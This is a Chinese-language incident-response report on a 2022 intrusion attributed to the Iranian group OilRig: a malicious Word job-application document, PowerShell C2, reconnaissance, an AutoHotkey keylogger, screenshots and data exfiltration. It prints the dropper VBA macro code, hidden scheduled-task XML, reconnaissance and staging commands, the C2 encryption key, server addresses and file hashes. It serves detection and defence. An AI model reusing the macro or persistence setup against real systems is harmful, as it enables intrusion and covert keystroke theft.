这篇入侵案例发生在2022年8月,起初我们发现攻击者通过投递包含恶意VBA宏的Word文档获取了一台主机权限。攻击者在失陷主机部署C2后门并进行权限维持。随后开始了一轮信息收集,包括网络扫描,用户枚举和使用AutoHotkey工具进行键盘记录。
AutoHotkey是一款开源的在Microsoft Windows操作系统下运行的脚本语言。它提供了基于键盘的自动化能力。据AutoHotKey官方文档记载,AHK脚本可以通过多种方式运行。在本次入侵案例中,攻击者使用了AutoHotkey.exe(被重命名成了module.exe)运行AHK脚本(名为module.ahk)。
这次入侵开始于一个包含恶意宏的Word文档,文档中的内容为Lumen公司的职位申请。在以往许多攻击组织包括朝鲜和伊朗政府组织都使用过这种话术进行钓鱼。一旦用户打开文件并启用宏后,恶意软件就开始运行了。恶意宏会创建一个VBS脚本(Updater.vbs)和两个PowerShell脚本(temp.ps1 和 Script.ps1)。并创建计划任务进行权限维持。进程注入完全通过PowerShell实现,这在如今的入侵阶段投递的工具中并不多见。
开始执行宏之后,PowerShell脚本Script.ps1开始使用加密通信连接C2服务器。大约过了一天,C2服务器开始活动并通过PowerShell脚本temp.ps1传递指令。攻击者开始使用PowerShell内置命令和Windows内置命令执行一些信息收集工作(例如:whoami、net、time、tzutil、tracert)。攻击者还使用了PowerSploit框架中内置的Convert-LDAPProperty功能,枚举了所有的域用户数据并通过C2通道外传。
在入侵开始的第四天,攻击者再次活跃起来,他们投递了一些用于键盘记录的文件,并创建计划任务让键盘记录后门周期运行。键盘记录器本身由一个可执行文件 module.exe 组成,它是重命名的 AutoHotkey 二进制文件。攻击者使用module.exe用于运行 AutoHotkey 脚本 module.ahk。此外,在同一个计划任务中还运行了名为 readKey.ps1 的 PowerShell 脚本。
入侵开始的第六天,攻击者返回网络并收集键盘记录产生的数据,他们使用Windows自带的压缩工具makecab.exe将数据进行打包,通过C2通信将数据外传。之后,攻击者投递了另一个PowerShell脚本用于获取屏幕截图。获取到这些数据后,攻击者确认了防病毒软件服务的运行状态其他主机信息。
攻击者在第七天和第九天继续收集了键盘记录数据。之后攻击者被驱逐出网络。
值得关注的是,攻击者进行入侵时投递的工具完全使用PowerShell实现,没有可执行文件在失陷主机落地。在很长一段时间,这种无文件攻击是无法检测的。这与我们处理过的一些案例完全不同,以往的攻击组织都是通过投递类似Emotat、IcedID或Qbot等恶意软件进行入侵的。
与常见的攻击入侵代理组织不同,使用定制化的恶意软件是针对目标组织的更有针对性的攻击。通过回放流量我们发现了C2通信的两个特征——ET MALWARE TA452 Related Backdoor Activity (GET)/(POST)。TA452是proofpoint追踪到的一个活跃的APT组织,命名为OilRig group。攻击组织类别与COBALT GYPSY, IRN2, APT34, and Helix Kitten一致。
Oilrig被怀疑是由伊朗政府资助的黑客组织。这个组织以开发home grown和利用PowerShell 框架而闻名。最终,我们分析攻击者手动攻击的时间在周六和周四之间UTC时间凌晨3点到16点,而对应的德黑兰当地时间为早上6点30分到19点30分。结合这些因素,我们怀疑这次攻击是由伊朗APT组织Oilrig发起的。
在入侵开始时,攻击者投递了包含恶意代码的Word文档“Apply Form.docm”。文档内容为Lumen通信技术公司的职位申请表。
这个恶意文档最初由@StopMalvertisin发现并发布在推特上。到现在为止我们仍无法确认恶意文档的投递方式,根据以往的相关报告我们猜测这些文档通过鱼叉式钓鱼攻击投递(T1566),我们评估为中风险。
当受害者启用宏之后,恶意VBA宏代码便开始执行。
首先我们使用olevba.py查看“Apply Form.docm”的静态信息,很快我们就能发现文档代码存在可疑的行为。
首先,宏代码会获取打开word文档的用户名,并在该用户的AppData目录下创建一个目录
Private Sub Document_Open()
Application.ScreenUpdating = False
Call Macro1
Dim Script, inp As String
inp = Google.meet.Text
pla = Google.chat.Text
uName = Environ("username")
Pathh = "C:\Users\" & uName & "\AppData\Local\Microsoft\Windows\Update\"
If Dir(Pathh) = "" Then
MkDir Pathh
Call Macro2
End I
Set FSO1 = CreateObject("Scripting.FileSystemObject")
SetAttr Pathh, vbHidden
Set FS1 = FSO1.CreateTextFile(Pathh & "Script.ps1", True)
ActiveDocument.Shapes.Range(Array("Text Box 19")).Select
Selection.WholeStory
FS1.WriteLine Selection.Text
FS1.Close
Set FSO3 = CreateObject("Scripting.FileSystemObject")
Set FS3 = FSO3.CreateTextFile(Pathh & "temp.ps1", True)
ActiveDocument.Shapes.Range(Array("Text Box 18")).Select
Selection.WholeStory
FS3.WriteLine Selection.Text
FS3.Close
inp = Replace(inp, "PATH", Pathh)
inp = EncodeBase65(inp)
inp = Replace(inp, "a", "@")
inp = Replace(inp, "H", "-")
inp = Replace(inp, "S", "$")
VBS = "xxx = """ & inp & """" & vbNewLine & pla
Set FSO2 = CreateObject("Scripting.FileSystemObject")
Set FS2 = FSO2.CreateTextFile(Pathh & "Updater.vbs", True)
FS2.WriteLine VBS
FS2.Close
PNGenerator
Application.ScreenUpdating = True
ActiveDocument.Shapes.Range(Array("Text Box 9")).Select
End Sub
通过Sysmon日志的文件创建日志(Event 11),我们可以观察到WINWORD.exe成功创建了这些文件。
之后,为了能持久运行脚本,恶意宏又新建了一个名为WindowsUpdate的计划任务。
Private Sub Document_Close()
Application.ScreenUpdating = False
uName = Environ("username")
Pathh = "C:\Users\" & uName & "\AppData\Local\Microsoft\Windows\Update\"
XML = Google.map.Text
XML = Replace(XML, "PATH", Pathh)
Set service = CreateObject("Schedule.Service")
Call service.Connect
Set rootFolder = service.GetFolder("\")
temp = rootFolder.RegisterTask("WindowsUpdate", XML, 6, , , 3)
Call Macro4
End Sub
下面的XML数据是直接硬编码在VBA宏中的。
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Description>This task is used to start the Windows Update service when needed to perform scheduled operations such as scans.</Description>
<URI>\WindowsUpdate</URI>
</RegistrationInfo>
<Triggers>
<TimeTrigger>
<Repetition>
<Interval>PT10M</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2022-06-21T00:00:00</StartBoundary>
<Enabled>true</Enabled>
<RandomDelay>PT1M</RandomDelay>
</TimeTrigger>
<IdleTrigger>
<Enabled>true</Enabled>
</IdleTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<LogonType>InteractiveToken</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<RestartOnFailure>
<Interval>PT1M</Interval>
<Count>3</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<Exec>
<Command>wscript</Command>
<Arguments>"PATHUpdater.vbs"</Arguments>
</Exec>
</Actions>
</Task>
大寒,
计划任务会首先执行PowerShell脚本Script.sp1。这个脚本会外联C2服务器并运行temp.ps1执行base64编码的命令。
Microsoft-Windows-TaskScheduler/Operational日志下Event 201日志记录了计划任务执行成功的记录。
该计划任务又通过命令行创建了另一个计划任务,名为MicrosoftEdgeUpdateTaskMachineUC。
这个计划任务是手动运行的。
C:\Windows\system32\schtasks.exe /run /tn MicrosoftEdgeUpdateTaskMachineUC
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2022-08-04T11:52:03.8083191</Date>
<Author>Microsoft Inc.</Author>
<URI>\masdfm</URI>
</RegistrationInfo>
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled>
<UserId>[REDACTED]</UserId>
</LogonTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId>[REDACTED]</UserId>
<LogonType>InteractiveToken</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>"C:\Users\Public\module\module.exe"</Command>
<Arguments>"C:\Users\Public\module\module.ahk"</Arguments>
</Exec>
<Exec>
<Command>powershell</Command>
<Arguments>-ep bypass -windowstyle hidden -f "C:\Users\Public\module\readKey.ps1"</Arguments>
</Exec>
</Actions>
</Task>
攻击者使用的键盘记录器将收集到的数据进行异或编码再写入logFileuyovaqv.bin文件。
攻击者删除了内网探测时产生的多个文件。
Remove-Item "C:\Users\REDACTED\AppData\Local\Temp\logFileuyovaqv.cab"
Remove-Item c:\users\public\u.zip
Remove-Item c:\users\public\u.xml
攻击者通过temp.ps1文件执行了多个内网探测操作,传入的命令均通过base64编码。
在入侵期间,攻击者执行了如下内网探测命令:
列出磁盘信息:
"C:\Windows\System32\Wbem\WMIC.exe" logicaldisk
列出进程信息:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Get-Process
获取Windows Defender状态信息:
"C:\Windows\system32\cmd.exe" /c sc query WinDefend
获取失陷主机当前时间:
"C:\Windows\system32\cmd.exe" /c time
获取失陷主机当前时区:
"C:\Windows\system32\cmd.exe" /c tzutil /g
使用tracert探测网络结构:
"C:\Windows\system32\cmd.exe" /c tracert 8.8.8.8
枚举本地用户:
"C:\Windows\system32\net.exe" accounts
获取当前用户信息:
"C:\Windows\system32\whoami.exe" /all
枚举敏感文件:
get-childitem "C:\Program Files" | out-string
get-childitem "C:\Program Files (x86)" | out-string
get-childitem "C:\users" | out-string
Get-ChildItem "C:\users\$env:username\desktop\" | out-string
Get-ChildItem "C:\users\$env:username\downloads\" | out-string
Get-ChildItem "C:\users\$env:username\documents\" | out-string
Get-ChildItem $env:LOCALAPPDATA | out-string
get-childitem "C:\Program Files" | out-string
get-childitem C:\ | out-string
get-childitem C:\users\%username%\downloads | out-string
get-childitem C:\Users\%username%\AppData\Local\Microsoft\Edge\User Data\Default | out-string
get-childitem C:\Users\$env:username\AppData\Local\Microsoft\Edge\User Data\Default | out-string
使用从PowerSploit框架中提取出的PowerShell脚本Convert-LDAPProperty收集域用户信息:
查询AD域和SAM账户名:
$s = new-object -typename system.directoryservices.directorysearcher
$s.PageSize = 999999999
$s.Filter = '(&(objectclass=computer))'
$s.findall() | % {$_.properties.samaccountname; $_.properties.operatingsystem}
获取计算机和网络配置信息:
Get-ComputerInfo | out-string
Get-NetTCPConnection | out-string
Get-NetIPConfiguration -All | Out-String
获取失陷主机当前登录用户信息:
Get-WmiObject –ComputerName [REDACTED] –Class Win32_ComputerSystem | Select-Object UserName
获取失陷主机中防病毒软件状态:
Get-MpComputerStatus
列举环境变量:
ls $env:temp
get-childitem $env:temp | out-string
获取公网出口IP地址:
Invoke-WebRequest -UseBasicParsing -Uri http://ident.me | out-string
攻击者将从LDAP目录服务中获取到的数据存放在XML文件中:
Compress-Archive -Path c:\users\public\u.xml -DestinationPath c:\users\public\u.zip -CompressionLevel Optimal
并通过连接C2服务器的脚本temp.ps1下载了另一个PowerShell脚本sc.ps1:
sc.ps1脚本用于屏幕截图,并将结果保存为sc.png文件。
攻击者创建了名为MicrosoftEdgeUpdateTaskMachineUC的计划任务,用于执行键盘记录器module.exe,加载module.ahk脚本和readKey.ps1脚本。t.xml文件包含了这个计划任务的信息:
可执行文件 module.exe 是 AutoHotkey 的重命名二进制文件。用于执行 AutoHotkey (AHK) 脚本。
实际运行的键盘记录器就是module.ahk脚本:
在AHK脚本中,我们发现了获取当前键盘布局和记录键盘按键的功能代码,并且发现一个名为UpdateReg的函数,这个函数接收一个文本参数,并将记录到的键盘操作存放在指定注册表键值下:
readkey.ps1 文件从注册表KeypressValue项中获取键盘记录,对数据进行异或,并将结果保存到日志 (logFileuyovaqv.bin) 文件中。
最后攻击者将收集到的数据进行cab打包,并进行外传。
makecab "C:\Users\<REDACTED>\AppData\Local\Temp\logFileuyovaqv.bin" C:\Users\<REDACTED>\AppData\Local\Temp\logFileuyovaqv.cab
入侵过程中的C2通信是通过执行Script.sp1和temp.ps1脚本建立的,C2通信使用AES-CBC加密,密钥和IV值如下:
Key | 17 1d 84 e8 41 ae e4 c0 ff fb a2 7c 86 d1 ec 82 b8 80 7c b8 c3 79 9a 11 b8 fa 2d b7 78 1f d1 5a |
IV | 18 3c ed 6f b3 34 9f 9a c6 f9 08 f9 29 de 35 52 |
与C2的通信((hxxp[:]//45[.]89[.]125[.]189/get))从第一天开始,并以10分钟/次的频率进行连接。在第二天开始,所有的请求都返回502 Bad Gateway响应。
第一个完整的C2通信过程:
PowerShell脚本AES加密命令样例:
[email protected]#EWQ654[email protected]#EWQpowershell -command Get-Process^%$RTY:
SafeBreach发布了与之类似的C2基础设施研究,可以阅读这篇文章https://www.safebreach.com/resources/blog/safebreach-labs-researchers-uncover-new-fully-undetectable-powershell-backdoor/
攻击者在内网信息收集阶段获取到的数据,均通过C2通信泄漏到了网络外。
在入侵期间,未发现除收集网络信息和键盘记录外的其他攻击目的。
45.89.125.189
http://45.89.125[.]189/get
http://45.89.125[.]189/put
t.xml
691332c86dd568f87b7fff4601c37895
0b676ea2ad205b70b9feb1eedbfdec72137e08e5
7ae52c0562755f909d5d79c81bb99ee2403f2c2ee4d53fd1ba7692c8053a63f6
readkey.ps1
fc5f490dbe375779b2c6bbccdd869ca6
b8c8171b6e8efd2bb0ae8d5b22749564edd38109
eb2a94ee29d902c8a13571ea472c80f05cfab8ba4ef80d92e333372f4c7191f4
module.exe
9a7d5f126904adc194df4dcbc2c5715c
a86088cf31c72cc4648ee8dfa082979a74044203
b92be3d086372fc89b3466e8d9707de78a5b6dff3e4a2eecc92c01d55a86fd7d
module.ahk
c65b10c1113c0f0d4e06609fa60d9aad
2ca263fc5f1e505c1839ab0abf56571af6c7809d
e4b2411286d32e6c6d3d7abffc70d296c814e837ef14f096c829bf07edd45180
Apply_Form.docm
f769f67681707e8f69ecdf9e62fb944c
c5f6a48fa52a279e1f3424b97662b479716229af
45f293b1b5a4aaec48ac943696302bac9c893867f1fc282e85ed8341dd2f0f50
sc.ps1
34a2677a7776f87e810814c2d3845f47
79b1f6b0afe943a60560eb20677d5b801dc29ba3
ac933ffc337d13b276e6034d26cdec836f03d90cb6ac7af6e11c045eeae8cc05
logFileuyovaqv.bin
f7611e77c5f99b81085e61b17b969afe
475320a5bf0ba52fc9ff711d8e6dba512b3fefbf
d4857156094963c8e38f6e88f4d72cb910aa537e3811eae0579f7abc568c9ae8
Updater.vbs
850b8d07180601417193a6f88227130a
e1f4a8e434638c56b7a0d2d0317f4d0d84987a40
be0e75d50565506baa1ce24301b702989ebe244b3a1d248ee5ea499ba812d698
temp.ps1
c3aedb781a5b96674764cd43ef076d10
86da0100bb6a07a89eaa4dc3ec220e9dbd6ecf71
16007ea6ae7ce797451baec2132e30564a29ee0bf8a8f05828ad2289b3690f55
Script.ps1
a3c14604fb4454ba5722f07f89780e73
ed7b9ddbaee794cecb80fac794b0e6cb0ae073b5
bda4484bb6325dfccaa464c2007a8f20130f0cf359a7f79e14feeab3f
ET MALWARE TA452 Related Backdoor Activity (POST)
ET MALWARE TA452 Related Backdoor Activity (GET)
ET INFO Windows Powershell User-Agent Usage
https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_renamed_autohotkey_binary.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_env_folder.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_net_execution.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_ps_appdata.yml
https://github.com/The-DFIR-Report/Yara-Rules/blob/main/17333/17333.yar
PowerShell – T1059.001
Malicious File – T1204.002
Domain Account – T1087.002
System Information Discovery – T1082
Process Discovery – T1057
System Owner/User Discovery – T1033
System Network Connections Discovery – T1049
Scheduled Task/Job – T1053
Screen Capture – T1113
Keylogging – T1056.001
Symmetric Cryptography – T1573.001
Archive via Utility – T1560.001
Security Software Discovery – T1518.001
File and Directory Discovery – T1083
System Time Discovery – T1124
System Service Discovery – T1007
Modify Registry – T1112